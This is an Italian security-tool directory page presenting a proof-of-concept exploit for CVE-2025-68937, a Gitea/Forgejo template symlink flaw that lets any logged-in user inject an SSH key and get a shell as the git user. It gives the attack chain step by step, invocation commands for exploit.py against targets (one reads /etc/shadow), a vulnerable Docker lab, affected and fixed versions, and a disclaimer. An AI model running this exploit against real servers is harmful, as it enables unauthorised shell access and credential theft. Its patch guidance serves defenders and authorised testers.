Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
Strumenti/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

Vedi Repository
18 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-68937 - Gitea/Forgejo RCE tramite symlink nei template

Proof-of-concept automatizzato per CVE-2025-68937: directory traversal tramite dereferenziazione di symlink nell'elaborazione dei repository template in Gitea e Forgejo, che porta all'esecuzione remota di codice.

Qualsiasi utente autenticato (senza privilegi di amministratore) può ottenere una shell come utente di servizio git.

Vulnerabilità

Quando si genera un nuovo repository da un template, Gitea/Forgejo copia i file del template ed espande variabili come ${REPO_DESCRIPTION} nei file elencati in .gitea/template. Questo processo segue i collegamenti simbolici senza validazione, consentendo a un attaccante di leggere e scrivere file arbitrari sul server.

DettaglioValore
CVECVE-2025-68937
CVSS 4.09.5 Critico
CWECWE-61 (UNIX Symbolic Link Following)
Autenticazione richiestaSì (qualsiasi utente)
Amministratore richiestoNo

Versioni interessate

SoftwareAffetteCorretta
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

Come funziona

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. Registra una chiave SSH avvelenata su Gitea: il commento della chiave contiene ${REPO_DESCRIPTION}, una variabile di template che Gitea espande
  2. Crea un repository template contenente:
    • .gitea/template che elenca authorized_keys per l'espansione delle variabili
    • Un symlink git authorized_keys che punta al file authorized_keys reale dell'utente git
  3. Genera un repository figlio dal template con la chiave pubblica SSH senza restrizioni dell'attaccante nel campo descrizione
  4. L'espansione del template segue il symlink, legge il file authorized_keys reale (che contiene la nostra chiave registrata con ${REPO_DESCRIPTION} nel commento), espande la variabile nella descrizione del figlio (la nostra chiave SSH) e riscrive il risultato attraverso il symlink
  5. Accedi via SSH come git con la chiave iniettata (nessuna restrizione command=)

Utilizzo

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

Opzioni

Ambiente di test

Avvia un'istanza vulnerabile:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. Apri http://localhost:3000, completa la procedura guidata di installazione (SQLite funziona bene)
  2. Registra un account utente
  3. Esegui:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

Requisiti

  • Python 3.8+
  • requests
  • git e ssh-keygen nel PATH

Mitigazione

  • Gitea: aggiorna alla versione 1.24.7 o successiva
  • Forgejo: aggiorna alla versione 11.0.7 (LTS) o 13.0.2+

Riferimenti

  • NVD: CVE-2025-68937
  • Avviso GitHub: GHSA-7mhf-6fhv-c83c
  • Analisi della correzione di sicurezza di Gitea (PR #36734 & #36746)
  • Note di rilascio di Gitea 1.24.7

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopo didattico. Usalo solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta a effettuare test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.

Scarica lo strumento
FlagDefaultDescrizione
-u, --urlobbligatorioURL base di Gitea/Forgejo
-U, --userobbligatorioNome utente
-P, --passwordobbligatorioPassword
--git-home/data/gitDirectory home dell'utente git sul target
--ssh-hostda --urlHost SSH a cui connettersi
--ssh-port22Porta SSH di Gitea
--timeout30Secondi di attesa per SSH
--commandinterattivoComando da eseguire dopo la shell
--cleanup-Rimuovi gli artefatti dell'exploit